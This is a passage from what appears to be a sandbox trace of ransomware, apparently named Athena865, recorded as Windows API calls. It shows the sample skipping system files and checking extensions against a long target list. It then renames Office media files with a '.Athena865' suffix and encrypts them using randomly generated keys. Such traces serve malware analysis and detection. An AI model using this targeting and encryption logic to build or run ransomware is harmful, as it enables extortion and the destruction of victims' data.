lpString2="gwi") returned 1 [0138.911] lstrlenW (lpString="hdb") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.911] lstrlenW (lpString="his") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.911] lstrlenW (lpString="ib") returned 2 [0138.911] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.911] lstrlenW (lpString="idb") returned 3 [0138.911] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.911] lstrlenW (lpString="ihx") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.912] lstrlenW (lpString="itdb") returned 4 [0138.912] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.912] lstrlenW (lpString="itw") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.912] lstrlenW (lpString="jet") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.912] lstrlenW (lpString="jtx") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.912] lstrlenW (lpString="kdb") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.912] lstrlenW (lpString="kexi") returned 4 [0138.912] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.912] lstrlenW (lpString="kexic") returned 5 [0138.912] lstrcmpiW (lpString1="0.WMF", lpString2="kexic") returned -1 [0138.912] lstrlenW (lpString="kexis") returned 5 [0138.912] lstrcmpiW (lpString1="0.WMF", lpString2="kexis") returned -1 [0138.912] lstrlenW (lpString="lgc") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.912] lstrlenW (lpString="lwx") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.912] lstrlenW (lpString="maf") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.912] lstrlenW (lpString="maq") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.912] lstrlenW (lpString="mar") returned 3 [0138.912] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.912] lstrlenW (lpString="marshal") returned 7 [0138.912] lstrcmpiW (lpString1="360.WMF", lpString2="marshal") returned -1 [0138.913] lstrlenW (lpString="mas") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.913] lstrlenW (lpString="mav") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.913] lstrlenW (lpString="maw") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.913] lstrlenW (lpString="mdbhtml") returned 7 [0138.913] lstrcmpiW (lpString1="360.WMF", lpString2="mdbhtml") returned -1 [0138.913] lstrlenW (lpString="mdn") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.913] lstrlenW (lpString="mdt") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.913] lstrlenW (lpString="mfd") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.913] lstrlenW (lpString="mpd") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.913] lstrlenW (lpString="mrg") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.913] lstrlenW (lpString="mud") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.913] lstrlenW (lpString="mwb") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.913] lstrlenW (lpString="myd") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.913] lstrlenW (lpString="ndf") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.913] lstrlenW (lpString="nnt") returned 3 [0138.913] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.914] lstrlenW (lpString="nrmlib") returned 6 [0138.914] lstrcmpiW (lpString1="60.WMF", lpString2="nrmlib") returned -1 [0138.914] lstrlenW (lpString="ns2") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.914] lstrlenW (lpString="ns3") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.914] lstrlenW (lpString="ns4") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.914] lstrlenW (lpString="nsf") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.914] lstrlenW (lpString="nv") returned 2 [0138.914] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.914] lstrlenW (lpString="nv2") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.914] lstrlenW (lpString="nwdb") returned 4 [0138.914] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.914] lstrlenW (lpString="nyf") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.914] lstrlenW (lpString="odb") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.914] lstrlenW (lpString="odb") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.914] lstrlenW (lpString="oqy") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.914] lstrlenW (lpString="ora") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.914] lstrlenW (lpString="orx") returned 3 [0138.914] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.915] lstrlenW (lpString="owc") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.915] lstrlenW (lpString="p96") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.915] lstrlenW (lpString="p97") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.915] lstrlenW (lpString="pan") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.915] lstrlenW (lpString="pdb") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.915] lstrlenW (lpString="pdm") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.915] lstrlenW (lpString="pnz") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.915] lstrlenW (lpString="qry") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.915] lstrlenW (lpString="qvd") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.915] lstrlenW (lpString="rbf") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.915] lstrlenW (lpString="rctd") returned 4 [0138.915] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.915] lstrlenW (lpString="rod") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.915] lstrlenW (lpString="rodx") returned 4 [0138.915] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.915] lstrlenW (lpString="rpd") returned 3 [0138.915] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.916] lstrlenW (lpString="rsd") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.916] lstrlenW (lpString="sas7bdat") returned 8 [0138.916] lstrcmpiW (lpString1="5360.WMF", lpString2="sas7bdat") returned -1 [0138.916] lstrlenW (lpString="sbf") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.916] lstrlenW (lpString="scx") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.916] lstrlenW (lpString="sdb") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.916] lstrlenW (lpString="sdc") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.916] lstrlenW (lpString="sdf") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.916] lstrlenW (lpString="sis") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.916] lstrlenW (lpString="spq") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.916] lstrlenW (lpString="te") returned 2 [0138.916] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.916] lstrlenW (lpString="teacher") returned 7 [0138.916] lstrcmpiW (lpString1="360.WMF", lpString2="teacher") returned -1 [0138.916] lstrlenW (lpString="tmd") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.916] lstrlenW (lpString="tps") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.916] lstrlenW (lpString="trc") returned 3 [0138.916] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.917] lstrlenW (lpString="trc") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.917] lstrlenW (lpString="trm") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.917] lstrlenW (lpString="udb") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.917] lstrlenW (lpString="udl") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.917] lstrlenW (lpString="usr") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.917] lstrlenW (lpString="v12") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.917] lstrlenW (lpString="vis") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.917] lstrlenW (lpString="vpd") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.917] lstrlenW (lpString="vvv") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.917] lstrlenW (lpString="wdb") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.917] lstrlenW (lpString="wmdb") returned 4 [0138.917] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.917] lstrlenW (lpString="wrk") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.917] lstrlenW (lpString="xdb") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.917] lstrlenW (lpString="xld") returned 3 [0138.917] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.917] lstrlenW (lpString="xmlff") returned 5 [0138.918] lstrcmpiW (lpString1="0.WMF", lpString2="xmlff") returned -1 [0138.918] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.Athena865") returned 71 [0138.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf.athena865"), dwFlags=0x1) returned 1 [0138.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.919] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30838) returned 1 [0138.920] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.920] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.920] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.921] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7b80, lpName=0x0) returned 0x154 [0138.922] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7b80) returned 0x100000 [0138.924] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.924] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.924] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.925] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.926] CloseHandle (hObject=0x154) returned 1 [0138.926] CloseHandle (hObject=0x17c) returned 1 [0138.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.926] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2=".") returned 1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="..") returned 1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="windows") returned -1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="bootmgr") returned 1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="temp") returned -1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="pagefile.sys") returned -1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="boot") returned 1 [0138.926] lstrcmpiW (lpString1="J0285410.WMF", lpString2="ids.txt") returned 1 [0138.927] lstrcmpiW (lpString1="J0285410.WMF", lpString2="ntuser.dat") returned -1 [0138.927] lstrcmpiW (lpString1="J0285410.WMF", lpString2="perflogs") returned -1 [0138.927] lstrcmpiW (lpString1="J0285410.WMF", lpString2="MSBuild") returned -1 [0138.927] lstrlenW (lpString="J0285410.WMF") returned 12 [0138.927] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0285410.WMF" | out: lpString1="J0285410.WMF") returned="J0285410.WMF" [0138.927] lstrlenW (lpString="J0285410.WMF") returned 12 [0138.927] lstrlenW (lpString="Athena865") returned 9 [0138.927] lstrcmpiW (lpString1="85410.WMF", lpString2="Athena865") returned -1 [0138.927] lstrlenW (lpString=".dll") returned 4 [0138.927] lstrcmpiW (lpString1="J0285410.WMF", lpString2=".dll") returned 1 [0138.927] lstrlenW (lpString=".lnk") returned 4 [0138.927] lstrcmpiW (lpString1="J0285410.WMF", lpString2=".lnk") returned 1 [0138.927] lstrlenW (lpString=".ini") returned 4 [0138.927] lstrcmpiW (lpString1="J0285410.WMF", lpString2=".ini") returned 1 [0138.927] lstrlenW (lpString=".sys") returned 4 [0138.927] lstrcmpiW (lpString1="J0285410.WMF", lpString2=".sys") returned 1 [0138.927] lstrlenW (lpString="J0285410.WMF") returned 12 [0138.927] lstrlenW (lpString="bak") returned 3 [0138.927] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.927] lstrlenW (lpString="ba_") returned 3 [0138.927] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.927] lstrlenW (lpString="dbb") returned 3 [0138.927] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.927] lstrlenW (lpString="vmdk") returned 4 [0138.927] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.927] lstrlenW (lpString="rar") returned 3 [0138.927] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.927] lstrlenW (lpString="zip") returned 3 [0138.927] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.928] lstrlenW (lpString="tgz") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.928] lstrlenW (lpString="vbox") returned 4 [0138.928] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.928] lstrlenW (lpString="vdi") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.928] lstrlenW (lpString="vhd") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.928] lstrlenW (lpString="vhdx") returned 4 [0138.928] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.928] lstrlenW (lpString="avhd") returned 4 [0138.928] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.928] lstrlenW (lpString="db") returned 2 [0138.928] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.928] lstrlenW (lpString="db2") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.928] lstrlenW (lpString="db3") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.928] lstrlenW (lpString="dbf") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.928] lstrlenW (lpString="mdf") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.928] lstrlenW (lpString="mdb") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.928] lstrlenW (lpString="sql") returned 3 [0138.928] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.928] lstrlenW (lpString="sqlite") returned 6 [0138.928] lstrcmpiW (lpString1="10.WMF", lpString2="sqlite") returned -1 [0138.929] lstrlenW (lpString="sqlite3") returned 7 [0138.929] lstrcmpiW (lpString1="410.WMF", lpString2="sqlite3") returned -1 [0138.929] lstrlenW (lpString="sqlitedb") returned 8 [0138.929] lstrcmpiW (lpString1="5410.WMF", lpString2="sqlitedb") returned -1 [0138.929] lstrlenW (lpString="xml") returned 3 [0138.929] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.929] lstrlenW (lpString="$er") returned 3 [0138.929] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.929] lstrlenW (lpString="4dd") returned 3 [0138.929] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.929] lstrlenW (lpString="4dl") returned 3 [0138.929] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.929] lstrlenW (lpString="^^^") returned 3 [0138.929] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.929] lstrlenW (lpString="abs") returned 3 [0138.929] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.929] lstrlenW (lpString="abx") returned 3 [0138.929] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.929] lstrlenW (lpString="accdb") returned 5 [0138.929] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0138.929] lstrlenW (lpString="accdc") returned 5 [0138.929] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0138.929] lstrlenW (lpString="accde") returned 5 [0138.929] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0138.929] lstrlenW (lpString="accdr") returned 5 [0138.929] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0138.929] lstrlenW (lpString="accdt") returned 5 [0138.929] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0138.929] lstrlenW (lpString="accdw") returned 5 [0138.930] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0138.930] lstrlenW (lpString="accft") returned 5 [0138.930] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0138.930] lstrlenW (lpString="adb") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.930] lstrlenW (lpString="adb") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.930] lstrlenW (lpString="ade") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.930] lstrlenW (lpString="adf") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.930] lstrlenW (lpString="adn") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.930] lstrlenW (lpString="adp") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.930] lstrlenW (lpString="alf") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.930] lstrlenW (lpString="ask") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.930] lstrlenW (lpString="btr") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.930] lstrlenW (lpString="cat") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.930] lstrlenW (lpString="cdb") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.930] lstrlenW (lpString="ckp") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.930] lstrlenW (lpString="cma") returned 3 [0138.930] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.931] lstrlenW (lpString="cpd") returned 3 [0138.931] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.931] lstrlenW (lpString="dacpac") returned 6 [0138.931] lstrcmpiW (lpString1="10.WMF", lpString2="dacpac") returned -1 [0138.931] lstrlenW (lpString="dad") returned 3 [0138.931] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.931] lstrlenW (lpString="dadiagrams") returned 10 [0138.931] lstrcmpiW (lpString1="285410.WMF", lpString2="dadiagrams") returned -1 [0138.931] lstrlenW (lpString="daschema") returned 8 [0138.931] lstrcmpiW (lpString1="5410.WMF", lpString2="daschema") returned -1 [0138.931] lstrlenW (lpString="db-journal") returned 10 [0138.931] lstrcmpiW (lpString1="285410.WMF", lpString2="db-journal") returned -1 [0138.931] lstrlenW (lpString="db-shm") returned 6 [0138.931] lstrcmpiW (lpString1="10.WMF", lpString2="db-shm") returned -1 [0138.931] lstrlenW (lpString="db-wal") returned 6 [0138.931] lstrcmpiW (lpString1="10.WMF", lpString2="db-wal") returned -1 [0138.931] lstrlenW (lpString="dbc") returned 3 [0138.931] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.931] lstrlenW (lpString="dbs") returned 3 [0138.931] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.931] lstrlenW (lpString="dbt") returned 3 [0138.931] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.931] lstrlenW (lpString="dbv") returned 3 [0138.931] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.931] lstrlenW (lpString="dbx") returned 3 [0138.931] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.931] lstrlenW (lpString="dcb") returned 3 [0138.931] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.932] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.932] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.Athena865") returned 71 [0138.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf.athena865"), dwFlags=0x1) returned 1 [0138.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.933] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12516) returned 1 [0138.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.934] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.935] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.935] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.935] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33f0, lpName=0x0) returned 0x154 [0138.936] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33f0) returned 0x100000 [0138.937] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.938] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.938] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | 